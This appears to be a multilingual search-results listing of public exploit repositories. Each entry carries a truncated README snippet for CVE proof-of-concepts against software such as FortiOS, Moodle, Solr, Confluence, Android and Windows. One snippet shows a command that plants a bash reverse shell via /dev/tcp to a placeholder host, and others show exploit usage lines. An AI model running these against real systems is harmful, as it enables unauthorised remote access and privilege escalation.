1301016 matches found
CVE-2022-40684
CVE-2022-40684 PoC con Rust para CVE-2022-40684 Fortinet FortiOS, FortiProxy y FortiSwitchManager...
CVE-2020-7283-McAfee-Total-Protection-MTP-16.0.R26-EoP
Exploit CVE-2020-7283 El write-up se puede encontrar en el blog de RedyOps Labs: https://labs.redyops.com/index.php/2020/07/14/mcafee-total-protection-mtp-16-0-r26-escalation-of-privilege-cve-2020-7283/ Herramientas de Terceros Este código de exploit se basa en gran medida en...
-CVE-2020-8103-Bitdefender-Antivirus-Free-EoP
Exploit de CVE-2020-8103 El informe se puede encontrar en el blog de RedyOps Labs: https://labs.redyops.com/index.php/2020/04/24/bitdefender-antivirus-free-escalation-of-privileges/ Herramientas de Terceros Este código de exploit se basa en gran medida en symboliclink-testing-tools, desarrollado...
moodle-rce-calculatedquestions
Scripts para probar la validación de entrada en preguntas calculadas de Moodle CVE-2024-43425 Este repositorio contiene los scripts complementarios de la entrada de blog De vuelta a clases - Explotando una vulnerabilidad de ejecución remota de código en Moodle, que describe una vulnerabilidad de...
CVE-2020-8163
CVE-2020-8163 Este es un código de explotación para CVE-2020-8163. Es solo con fines educativos...
Solr-RCE-CVE-2019-0192
Solr-RCE-CVE-2019-0192 Ejecución remota de código en Apache Solr mediante dataImportHandler Versión de Solr objetivo: 1.3 – 8.2 Requisitos: DataImportHandler debe estar habilitado, lo cual no ocurre por defecto. Lo he probado en la versión 6.2 python python solrRCE.py...
CVE-2024-0044-EXP
CVE-2024-0044-EXP Exploit para CVE-2024-0044: elevación de privilegios en Android para descargar archivos sandbox de cualquier aplicación objetivo. Uso root@kitploit: ./CVE-2024-0044.sh Parámetros root@kitploit: Ruta de cualquier archivo APK local Nombre del paquete de la aplicación objetivo...
CVE-2018-25031-PoC
CVE-2018-25031-PoC CVE-2018-25031 の PoC...
Confluence-EvilJar
aaaademo/Confluence-EvilJar Use CVE-2023-22515 to upload a jar package via the backend to achieve RCE. root@kitploit: git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell root@kitploit: http://confluence.local/plugins/servlet/testbin/cmServlet Godzil...
cve-2015-0313
CVE-2015-0313 Angler Exploit Kit 由来の Adobe Flash 脆弱性ソースコード cve-2015-0313 参照: http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/...
SmileySploit
SmileySploit Un script básico que explota CVE-2011-2523 Resumen En 2011, se encontró una puerta trasera integrada en servidores vsFTPd que ejecutaban la versión 2.3.4, en la cual usar un emoticono sonriente ":" desencadena una conexión inversa a un atacante. Con esto, es extremadamente fácil crea...
CVE-2021-25646
uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd La reverse shell es la siguiente: Escribe el script de la reverse shell python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Otorga permisos de ejecución al script python3 CVE-2021-25646.py -u...
cve-2024-3094-detect
CVE-2024-3094-detect Script de verificación de vulnerabilidades y degradación de XZ Utils Este script está diseñado para verificar la versión de XZ Utils instalada en su sistema Linux y degradarla a una versión segura si es necesario. También detecta la distribución de Linux y el gestor de paquet...
WebLogic_CNVD_C_2019_48814
WebLogicCNVDC201948814 WebLogic CNVD-C-201948814 CVE-2017-10271 Escáner por 7kbstorm...
CVE-2024-24919
CVE-2024-24919 This project aims to create an automation to better study CVE-2024-24919. api.py : Collects possible vulnerable IPs. CVE-2024-24919.py : Performs brute force given the IP file and the directories file. worldListLFI.txt : List of Linux directories. Usage Clone this repository on you...
katana
Katana 2016年から2019年の間にリリースされたQualcommデバイス向けのBootROMエクスプロイトです。 エクスプロイトの概要 MSM8998 Nazgul SoCでは、コマンド0x13 SAHARARESETSTATEMACHINEID が追加されました。このコマンドは bootsaharaentry を呼び出します。これはSaharaを再初期化することを目的としています。問題は、呼び出しのたびに スタックポインタが0x60だけ減少し、スタックガードが存在しないことです。十分な回数呼び出すと、利用可能な スタック領域 0x3000...
CVE-2024-26229-exploit
CVE-2024-26229 LPE en Windows Este repositorio es una reescritura del código desde aquí, pero sin dependencias adicionales. PARCHEADO: 9 de abril de 2024...
CVE-2022-3904
Este repositorio no tiene un README...